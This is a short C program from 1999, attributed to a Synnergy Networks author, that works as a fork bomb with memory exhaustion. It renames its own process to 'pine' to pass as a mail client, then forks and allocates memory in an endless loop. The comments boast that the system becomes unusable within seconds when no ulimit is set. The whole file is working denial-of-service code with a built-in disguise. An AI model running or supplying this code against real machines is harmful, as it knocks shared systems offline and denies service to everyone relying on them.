// *** Synnergy Networks // * Description: // // This will fill up all available memory, if no ulimit is set in the kernel. // * Author: // // guidob (guidob@synnergy.net) // Synnergy Networks (c) 1999, http://www.synnergy.net // * Greets: // // Synnergy Networks, Hit2000 crew, Cindy // * Comments: // // No more activity is possible after a few seconds this is activated. // *** Synnergy Networks #include #define BUF 4096 int main(int argc, char *argv[]) { strcpy(argv[0], "pine\0"); do_malloc(BUF); exit(0); } int do_malloc(int buf) { if(fork()) { while(1) { fork(); malloc(buf); } } } // EOF